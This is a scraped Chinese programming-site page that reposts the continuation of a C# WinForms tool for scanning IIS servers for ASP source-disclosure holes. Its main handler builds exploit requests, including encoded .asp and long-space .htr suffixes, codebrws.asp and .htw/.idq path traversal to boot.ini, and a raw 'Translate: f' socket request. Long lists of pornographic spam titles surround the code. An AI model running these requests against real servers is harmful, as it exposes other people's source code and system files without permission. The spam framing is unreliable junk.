亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁 > 學院 > 開發設計 > 正文

一個用c#寫的掃描asp源碼漏洞的應用程序(續)

2019-11-18 19:50:21
字體:
來源:轉載
供稿:網友

//主要方法
PRotected void btnGo_Click (object sender, System.EventArgs e)
{

//解析url
string strServer = this.txtServer.Text ;
string strUrl = this.txtFileName.Text ;
char [] point = {'.'} ; //定義分割符為"."
char[] line = {'/'} ; //定義分割符為"."
string [] arrString = strUrl.Split(line) ;

//求asp文件全名
string strFileName = arrString[arrString.Length - 1] ;
//求從根目錄下的路徑
string strPath = strUrl.Substring( 0 ,
strUrl.Length - strFileName.Length) ;

//解析文件全名
arrString = strFileName.Split(point) ;
//求文件擴展名
string strLast = arrString[arrString.Length - 1] ;
//求文件名
string strFirst = strFileName.Substring( 0 ,
strFileName.Length - strLast.Length - 1) ;

 

//使按鈕、輸入框等失效
this.txtServer.ReadOnly = true ;
this.txtFileName.ReadOnly = true ;
this.btnClear.Enabled = false ;
this.btnGo.Enabled = false ;


if (this.txtServer.Text == "http://" || this.txtFileName.Text == ""
|| this.txtServer.Text.Trim()== "" ||
this.txtServer.Text.Substring(0,7) != "http://")
{
MessageBox.Show("請輸入正確的主機名和文件名!") ;
this.txtServer.Focus() ;
}
else
{
this.txtResult.Visible = true ;
this.txtResult.ReadOnly = true ;
this.barStatus.Text = "正在連結主機…" ;

string strRequestFile ;

switch (this.cboMethod.SelectedIndex)
{
case 0: //直接讀取
strRequestFile = strServer + strUrl ;
break ;
case 5 : //%2e%41sp
strRequestFile = strServer + strPath + strFirst
+ "%2e%41sp" ;
break ;
case 8 : //longhtr
strRequestFile = strServer + strUrl
+ "+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
+ "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
+ "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20.htr" ;
break ;

case 10: //codebrws.asp
strRequestFile = strServer + "/iissamples/exair/howitworks/codebrws.asp?source="
+ strUrl ;
break ;

case 11: //showcode.asp
strRequestFile = strServer + "/iissamples/exair/howitworks/codebrws.asp?source="
+ "/msadc/../../../../boot.ini" ;
break;

case 12 : //null.htw
strRequestFile = strServer + "/null.htw?CiWebHitsFile="
+ strUrl + "%20&CiRestriction=none&CiHiliteType=Full" ;
break ;
case 13 : //qfullhit.htw
strRequestFile = strServer + "/iissamples/issamples/oop/qfullhit.htw?"
+ "CiWebHitsFile=/../../boot.ini&CiRestriction=none"
+ "&CiHiliteType=Full";
break ;

case 14 : //qsumrhit.htw
strRequestFile = strServer + "/iissamples/issamples/oop/qsumrhit.htw?"
+ "CiWebHitsFile=/../../boot.ini&CiRestriction=none"
+ "&CiHiliteType=Full";
break ;

case 15 : //query.idq
strRequestFile = strServer + "/query.idq?CiTemplate=/../../boot.ini"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
+ "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20.htx";
break ;

case 16: //search/qfullhit.htw
strRequestFile = strServer + "/iissamples/exair/search/qfullhit.htw?"
+ "CiWebHitsFile=/../../boot.ini&CiRestriction=none"
+ "&CiHiliteType=Full";
break ;

case 17: // search/qsumrhit.htw
strRequestFile = strServer + "/iissamples/exair/search/qsumrhit.htw?"
+ "CiWebHitsFile=/../../boot.ini&CiRestriction=none"
+ "&CiHiliteType=Full";
break ;

case 18: //iirturnh.htw
strRequestFile = strServer + "/iishelp/iis/misc/iirturnh.htw?"
+ "CiWebHitsFile=/../../boot.ini&CiRestriction=none"
+ "&CiHiliteType=Full";
break ;

case 19: //.htw
strRequestFile = strServer + strUrl
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
+ "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20.htw?"
+ "CiWebHitsFile=/../../boot.ini&CiRestriction=none"
+ "&CiHiliteType=Full" ;
break ;

default:
strRequestFile = strServer + strUrl + this.cboMethod.Text ;
}

this.barStatus.Text = "發送請求:"
+ (strRequestFile.Length >= 50 ?
strRequestFile.Substring(0 , 50)
:strRequestFile)
+ "...";

string strResult ;
//如果不是translate:f方法則可以直接發送http請求
if (this.cboMethod.SelectedIndex != 20)
{
//直接發送http請求
strResult = Get_Http(strRequestFile) ;

this.barStatus.Text += "完成。" ;
strResult = strResult == "" ? "未找到!" : strResult ;
this.txtResult.Text = strResult ;
}
else //translate:f方法需要建立tcp/ip連接
{
string strRequest = "GET " + strServer + strUrl
+ "/r/nHTTP/1.0/r/nTranslate:f/r/n" ;
strResult = Get_Socket_Request(strServer , strRequest , 80) ;
this.barStatus.Text += "完成。" ;
strResult = strResult == "" ? "未找到!" : strResult ;
this.txtResult.Text = strResult ;

}

}

//使按鈕、輸入款等恢復
this.txtServer.ReadOnly = false ;
this.txtFileName.ReadOnly = false ;
this.btnClear.Enabled = true ;
this.btnGo.Enabled = true ;


}


//通過同server建立tcp/ip連接,發送socket命令
private string Get_Socket_Request(string a_strServer , string a_strRequest , Int32 a_intPort)
{
//Set up variables and String to write to the server
Encoding ASCII = Encoding.Default ;
string Get = a_strRequest + "Connection: Close/r/n/r/n";
//string Get =
Byte[] ByteGet = ASCII.GetBytes(Get);
Byte[] RecvBytes = new Byte[256];
String strRetPage = null;

// IPAddress and IPEndPoint represent the endpoint that will
// receive the request
IPAddress hostadd = DNS.Resolve(a_strServer.Substring(7 ,a_strServer.Length - 7));
IPEndPoint EPhost = new IPEndPoint(hostadd, a_intPort);

//Create the Socket for sending data over TCP
Socket s = new Socket(AddressFamily.AfINet, SocketType.SockStream,
ProtocolType.ProtTCP );

// Connect to host using IPEndPoint
if (s.Connect(EPhost) != 0)
{
strRetPage = "Unable to connect to host";
return strRetPage;
}

// Sent the GET text to the host
s.Send(ByteGet, ByteGet.Length, 0);

// Receive the page, loop until all bytes are received
Int32 bytes = s.Receive(RecvBytes, RecvBytes.Length, 0);
strRetPage = strRetPage + ASCII.GetString(RecvBytes, 0, bytes);

while (bytes > 0)
{
bytes = s.Receive(RecvBytes, RecvBytes.Length, 0);
strRetPage = strRetPage + ASCII.GetString(RecvBytes, 0, bytes);
}

return strRetPage ;
}

//獲取http頁面函數
private string Get_Http(string a_strUrl)
{
string strResult ;
HttpWebRequest myReq = (HttpWebRequest)
WebRequestFactory.Create(a_strUrl) ;

try
{
HttpWebResponse HttpWResp = (HttpWebResponse)myReq.GetResponse();
Stream myStream = HttpWResp.GetResponseStream () ;

StreamReader sr = new StreamReader(myStream , Encoding.Default);
StringBuilder strBuilder = new StringBuilder();
while (-1 != sr.Peek())
{
strBuilder.Append(sr.ReadLine()+"/r/n");
}

strResult = strBuilder.ToString();
}
catch(Exception exp)
{
strResult = "錯誤:" + exp.Message ;
}

return strResult ;

}

//退出
protected void mnuExit_Click (object sender, System.EventArgs e)
{

if (MessageBox.Show("真的退出嗎?" , "退出系統" , MessageBox.YesNo) == DialogResult.Yes)
{
this.Close () ;

}
}


//主函數
public static void Main(string[] args)
{
application.Run(new Form1());
}
}
}

 


發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb
成人黄色在线免费| 国产一区二区日韩精品欧美精品| 欧美一级黑人aaaaaaa做受| 国产精品96久久久久久又黄又硬| 91久久精品一区| 国产精品wwwwww| 久久久精品视频在线观看| 亚洲国产91色在线| 日韩免费观看视频| 91精品国产高清| 北条麻妃一区二区三区中文字幕| 欧美大片欧美激情性色a∨久久| 亚洲激情视频在线播放| 欧美福利视频网站| 91国内免费在线视频| 久久韩国免费视频| 欧美日韩免费网站| 亚洲久久久久久久久久久| 青青久久av北条麻妃海外网| 国产一区二区丝袜高跟鞋图片| 欧美在线视频网站| 亚洲精品国产精品国自产在线| 欧美在线视频免费播放| 国产精品igao视频| 91精品国产99久久久久久| 国产亚洲精品91在线| 亚洲精品www| 欧美一区二区三区免费观看| 91国自产精品中文字幕亚洲| 久久99国产精品久久久久久久久| 91精品久久久久久久久久另类| 久久久久日韩精品久久久男男| 欧美国产乱视频| 亚洲欧洲xxxx| 久久久在线免费观看| 亚洲第一精品福利| 国产视频精品免费播放| 大量国产精品视频| 亚洲国产精品久久| 亚洲无亚洲人成网站77777| 久久免费精品日本久久中文字幕| 国产精品久久电影观看| 亚洲一区二区久久久久久| 91精品中国老女人| 中文字幕在线亚洲| 国产主播在线一区| 色噜噜狠狠色综合网图区| 国产精品三级美女白浆呻吟| 黄网站色欧美视频| 91精品国产91久久久久福利| 欧美亚洲视频在线观看| 欧美裸体xxxx极品少妇| 最近中文字幕mv在线一区二区三区四区| 国产精品入口福利| 欧美精品久久久久久久| 理论片在线不卡免费观看| 国产欧美一区二区三区久久| 日韩高清中文字幕| 国产欧美精品一区二区三区介绍| 午夜精品久久久久久久99热浪潮| 亚洲精品久久久久久久久久久久久| 国产精品揄拍500视频| 日韩av黄色在线观看| 欧美在线一级va免费观看| 国内精品久久久| 91在线精品播放| 亚洲第一黄色网| 亚洲国产中文字幕久久网| 国产精品∨欧美精品v日韩精品| 欧美黑人巨大精品一区二区| 欧美特级www| 成人精品福利视频| 日韩av在线免费播放| 亚洲国产中文字幕久久网| 91亚洲精品视频| 欧美国产一区二区三区| 国产亚洲美女久久| 欧美大片va欧美在线播放| 欧美一区二粉嫩精品国产一线天| 红桃视频成人在线观看| 国产精品国产自产拍高清av水多| 国产成人精品免费久久久久| 日韩成人av在线播放| 欧美肥臀大乳一区二区免费视频| 成人写真视频福利网| 欧洲亚洲女同hd| 国产一区二区成人| www.欧美精品一二三区| 国产日韩欧美夫妻视频在线观看| 久久手机精品视频| 欧美激情精品久久久久久黑人| 国产精品美女在线| 国产精品一香蕉国产线看观看| 日韩女在线观看| 91精品久久久久久久久久| 国产午夜精品麻豆| 久久久久久久久久国产精品| 久久成人免费视频| 456亚洲影院| 国产日韩在线看| 久久成人亚洲精品| 欧美激情视频在线免费观看 欧美视频免费一| 69久久夜色精品国产69| 91福利视频网| 久久精品免费电影| 欧美激情综合亚洲一二区| 日本国产精品视频| 亚洲精品美女久久久| 亚洲人成网站999久久久综合| 日韩av在线免费观看| 国产精品青青在线观看爽香蕉| 日韩高清欧美高清| 亚洲娇小xxxx欧美娇小| 成人激情视频在线播放| 久久亚洲国产精品成人av秋霞| 亚洲字幕一区二区| 亚洲国产成人精品电影| 欧美精品videos| 国产成人福利夜色影视| 91中文在线视频| 亚洲天堂免费观看| 亚洲香蕉伊综合在人在线视看| 日韩小视频在线| 欧美日韩亚洲精品内裤| 国产美女精品视频| 97国产在线观看| 岛国av一区二区| 成人看片人aa| 亚洲美女福利视频网站| 日韩在线国产精品| 精品亚洲va在线va天堂资源站| 日韩视频在线一区| 日韩中文字幕在线| 国语自产偷拍精品视频偷| 黑人巨大精品欧美一区二区| 国产亚洲精品高潮| 欧美精品在线免费| 欧美香蕉大胸在线视频观看| 国产精品免费观看在线| 久久久久中文字幕| 国产v综合ⅴ日韩v欧美大片| 国产精品视频一区二区高潮| 亚洲欧洲中文天堂| 亚洲天堂视频在线观看| 夜夜嗨av色综合久久久综合网| 奇米一区二区三区四区久久| 久久久久久久久久久久av| 欧美丰满少妇xxxx| 亚洲成人免费网站| 欧美大胆a视频| 91精品在线播放| 国产精品久久久91| 国产精品爽爽ⅴa在线观看| 91成人在线观看国产| 久久人人爽人人爽人人片亚洲| 欧美电影第一页| 亚洲精品国产综合久久| 国产精品视频一区二区三区四| 国产精品美女久久久久久免费| 亚洲欧美日韩天堂一区二区| 大桥未久av一区二区三区| 91在线精品视频| 亚洲视频在线免费观看| 欧美亚洲成人网|